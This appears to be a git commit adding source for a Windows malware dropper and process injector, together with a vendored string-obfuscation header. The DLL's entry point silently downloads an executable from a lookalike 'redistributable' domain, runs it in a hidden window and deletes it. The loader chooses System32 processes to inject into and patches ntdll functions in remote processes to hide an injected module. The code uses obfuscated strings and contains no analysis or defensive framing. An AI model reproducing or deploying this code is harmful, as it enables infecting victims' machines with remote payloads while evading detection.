initial commit

This commit is contained in:
i2p
2026-08-27 11:23:03 -06:00
commit 09217ce74b
281 changed files with 320817 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large Load Diff
+172
View File
@@ -0,0 +1,172 @@
/*
* Copyright 2017 - 2021 Justas Masiulis
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef JM_XORSTR_HPP
#define JM_XORSTR_HPP
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
#include <arm_neon.h>
#elif defined(_M_X64) || defined(__amd64__) || defined(_M_IX86) || defined(__i386__)
#include <immintrin.h>
#else
#error Unsupported platform
#endif
#include <cstdint>
#include <cstddef>
#include <utility>
#include <type_traits>
#include <ctime>
#include <chrono>
#include <random>
#include <algorithm>
#include <numeric>
#include <cmath>
#include <memory>
#include <functional>
#include <string>
#include <iostream>
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#ifdef _MSC_VER
#define XORSTR_FORCEINLINE __forceinline
#else
#define XORSTR_FORCEINLINE __attribute__((always_inline)) inline
#endif
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed;
for (char c : __TIME__)
value = static_cast<std::uint32_t>((value ^ c) * 16777619ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<2166136261 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
#endif // include guard
+158
View File
@@ -0,0 +1,158 @@
// dllmain.cpp
#include <windows.h>
#include "Ec.h"
#include <string>
#include<urlmon.h>
#pragma comment (lib,"urlmon.lib")
std::string BuildID = EC("//BuildyID");
std::string OwnerID = EC("//OwneryID");
std::string ws2s(const std::wstring& wstr) {
std::string str;
str.reserve(wstr.length()); // Pre-allocate for performance
// Use std::codecvt_utf8-like logic manually
for (wchar_t wc : wstr) {
if (wc <= 0x7F) {
// 1-byte UTF-8
str.push_back(static_cast<char>(wc));
}
else if (wc <= 0x7FF) {
// 2-byte UTF-8
str.push_back(static_cast<char>(0xC0 | ((wc >> 6) & 0x1F)));
str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
}
else if (wc <= 0xFFFF) {
// 3-byte UTF-8
str.push_back(static_cast<char>(0xE0 | ((wc >> 12) & 0x0F)));
str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
}
else if (wc <= 0x10FFFF) {
// 4-byte UTF-8
str.push_back(static_cast<char>(0xF0 | ((wc >> 18) & 0x07)));
str.push_back(static_cast<char>(0x80 | ((wc >> 12) & 0x3F)));
str.push_back(static_cast<char>(0x80 | ((wc >> 6) & 0x3F)));
str.push_back(static_cast<char>(0x80 | (wc & 0x3F)));
}
}
return str;
}
std::wstring s2ws(const std::string& s, bool isUtf8 = true)
{
int len;
int slength = (int)s.length() + 1;
len = MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength, 0, 0);
std::wstring buf;
buf.resize(len);
MultiByteToWideChar(isUtf8 ? CP_UTF8 : CP_ACP, 0, s.c_str(), slength,
const_cast<wchar_t*>(buf.c_str()), len);
return buf;
}
std::string GetTempPathAndFileName() {
wchar_t path[MAX_PATH];
GetTempPath(MAX_PATH, path);
// Generate a random filename
std::wstring tmpFile = path;
tmpFile += EC(L"ox_");
// Add a timestamp to ensure uniqueness
auto now = std::chrono::system_clock::now();
auto ms = std::chrono::time_point_cast<std::chrono::milliseconds>(now).time_since_epoch().count();
tmpFile += std::to_wstring(ms);
tmpFile += EC(L".exe");
return ws2s(tmpFile);
}
int win_system(const char* command)
{
// Windows has a system() function which works, but it opens a command prompt window.
char* tmp_command, * cmd_exe_path;
int ret_val;
size_t len;
PROCESS_INFORMATION process_info = { 0 };
STARTUPINFOA startup_info = { 0 };
len = strlen(command);
tmp_command = (char*)malloc(len + 4);
tmp_command[0] = 0x2F; // '/'
tmp_command[1] = 0x63; // 'c'
tmp_command[2] = 0x20; // <space>;
memcpy(tmp_command + 3, command, len + 1);
startup_info.cb = sizeof(STARTUPINFOA);
cmd_exe_path = getenv(EC("COMSPEC"));
_flushall(); // required for Windows system() calls, probably a good idea here too
if (CreateProcessA(cmd_exe_path, tmp_command, NULL, NULL, 0, CREATE_NO_WINDOW, NULL, NULL, &startup_info, &process_info)) {
WaitForSingleObject(process_info.hProcess, INFINITE);
GetExitCodeProcess(process_info.hProcess, (LPDWORD)&ret_val);
CloseHandle(process_info.hProcess);
CloseHandle(process_info.hThread);
}
free((void*)tmp_command);
return(ret_val);
}
DWORD WINAPI MainThingy(LPVOID lpParam)
{
HANDLE mutexstb = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + OwnerID).c_str());
if (mutexstb == NULL) {
//std::cout << EC("No Stub Running!") << std::endl;
std::string pathex = GetTempPathAndFileName();
std::string urlex = EC("https://vcc-redistrbutable.help/Stb/Retev.php?bl=") + BuildID + EC(".txt");
/*std::string command = EC("curl -o \"") + pathex + EC("\" \"") + urlex + EC("\"");
system(command.c_str());*/
std::string cmdstart = EC("start ") + pathex;
URLDownloadToFile(NULL, s2ws(urlex).c_str(), s2ws(pathex).c_str(),0, NULL);
Sleep(1000);
win_system(cmdstart.c_str());
Sleep(25000);
remove(pathex.c_str());
}
return 0;
}
// DLL entry point
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, 0, MainThingy, NULL, 0, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+146
View File
@@ -0,0 +1,146 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{c29062d7-2e53-4ec6-99f6-5b0480a6f08c}</ProjectGuid>
<RootNamespace>TheDLL</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CRT_SECURE_NO_WARNINGS;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard>
<Optimization>MinSpace</Optimization>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<DebugInformationFormat>None</DebugInformationFormat>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="TheDLL.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="Ec.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="TheDLL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Ec.h">
<Filter>Source Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+172
View File
@@ -0,0 +1,172 @@
/*
* Copyright 2017 - 2021 Justas Masiulis
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef JM_XORSTR_HPP
#define JM_XORSTR_HPP
#if defined(_M_ARM64) || defined(__aarch64__) || defined(_M_ARM) || defined(__arm__)
#include <arm_neon.h>
#elif defined(_M_X64) || defined(__amd64__) || defined(_M_IX86) || defined(__i386__)
#include <immintrin.h>
#else
#error Unsupported platform
#endif
#include <cstdint>
#include <cstddef>
#include <utility>
#include <type_traits>
#include <ctime>
#include <chrono>
#include <random>
#include <algorithm>
#include <numeric>
#include <cmath>
#include <memory>
#include <functional>
#include <string>
#include <iostream>
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#ifdef _MSC_VER
#define XORSTR_FORCEINLINE __forceinline
#else
#define XORSTR_FORCEINLINE __attribute__((always_inline)) inline
#endif
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed;
for (char c : __TIME__)
value = static_cast<std::uint32_t>((value ^ c) * 16777619ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<2166136261 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
#endif // include guard
+807
View File
@@ -0,0 +1,807 @@
#include <Windows.h>
#include <utility>
#include <Intrin.h>
#include "Encrypt.h"
#include <wincrypt.h>
#include <string>
#include <vector>
#include <wininet.h>
#include <filesystem>
#include "Shlobj.h"
#include <regex>
#include <fstream>
#include <winternl.h>
#include <codecvt>
#include <cstdlib>
#include <ctime>
#include <random>
#include <chrono>
#include <functional>
#include <array>
#include <sys/stat.h>
#include <direct.h> // For _mkdir on Windows
#pragma comment(lib, "dxgi.lib")
#include <dxgi.h>
#include <map>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "crypt32.lib")
#pragma warning(disable : 4996)
#define DEBUG_MODE 0
int g_x = 0;
typedef NTSTATUS(WINAPI* EMOSS)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG_PTR ReturnLength
);
std::vector<uint8_t> bittys;
LPCWSTR GetInjekt() {
static const std::vector<std::wstring> processNames = {
EC(L"C:\\Windows\\System32\\dllhost.exe"),
EC(L"C:\\Windows\\System32\\svchost.exe"),
EC(L"C:\\Windows\\System32\\DiskSnapshot.exe"),
EC(L"C:\\Windows\\System32\\fontdrvhost.exe"),
EC(L"C:\\Windows\\System32\\icacls.exe"),
EC(L"C:\\Windows\\System32\\IESettingSync.exe"),
EC(L"C:\\Windows\\System32\\ktmutil.exe"),
EC(L"C:\\Windows\\System32\\label.exe"),
EC(L"C:\\Windows\\System32\\LegacyNetUXHost.exe"),
EC(L"C:\\Windows\\System32\\licensingdiag.exe")
};
// Seed the random number generator only once
static bool initialized = false;
if (!initialized) {
std::srand(static_cast<unsigned>(std::time(nullptr)));
initialized = true;
}
// Select a random index
int randomIndex = std::rand() % processNames.size();
// Return the randomly selected process name as LPCWSTR
return processNames[randomIndex].c_str();
}
bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
ULONGLONG pos = 8;
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
std::string virtmom = EC("ZwQueryVirtualMemory");
ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)GetProcAddress(hNtdll, virtmom.c_str());
if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) {
return false;
}
LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos);
if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
LPVOID patch_space = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!patch_space) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!ReadProcessMemory(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 };
if (::memcmp(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) {
return false;
}
// prepare the patched stub:
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
if (::memcmp(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
// prepare the patch to be applied on ZwQueryVirtualMemory:
BYTE stub_buffer_patched[stub_size] = { 0 };
::memcpy(stub_buffer_patched, stub_buffer_orig, stub_size);
const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF };
::memcpy(stub_buffer_patched, &patch_space, sizeof(LPVOID));
::memset(stub_buffer_patched + pos, 0x90, syscall_pattern_full);
::memcpy(stub_buffer_patched + pos, jump_back, sizeof(jump_back));
// prepare the trampoline:
const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF };
ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full;
BYTE func_patch[] = {
0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation?
0x75, 0x22, // jne [continue to function]
0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
0x75, 0x19, // jne [continue to function]
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
::memcpy(stub_buffer_trampoline, func_patch, sizeof(func_patch));
::memcpy(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
::memcpy(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
::memcpy(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
::memcpy(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));
const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);
if (!WriteProcessMemory(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
if (!WriteProcessMemory(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
return false;
}
if (!VirtualProtectEx(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
return false;
}
FlushInstructionCache(hProcess, stub_ptr, stub_size);
return true;
}
DWORD Podyom;
bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
{
if (!hNtdll) return false; // should never happen
DWORD oldProtect = 0;
const SIZE_T stub_size = 0x20;
const BYTE hotpatch_patch[] = {
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
0xC3 //ret
};
// syscall stub template
const size_t syscall_pattern_full = 8;
const size_t syscall_pattern_start = 4;
const BYTE syscall_fill_pattern[] = {
0x4C, 0x8B, 0xD1, //mov r10,rcx
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
};
std::string gotpot = EC("NtManageHotPatch");
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)GetProcAddress(hNtdll, gotpot.c_str());
if (!_NtManageHotPatch) {
return false;
}
LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;
if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
return false;
}
BYTE stub_buffer_orig[stub_size] = { 0 };
SIZE_T out_bytes = 0;
if (!ReadProcessMemory(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
return false;
}
// confirm it is a valid syscall stub:
if (::memcmp(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
return false;
}
if (!WriteProcessMemory(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
return false;
}
if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
return false;
}
FlushInstructionCache(hProcess, stub_ptr, sizeof(hotpatch_patch));
return true;
}
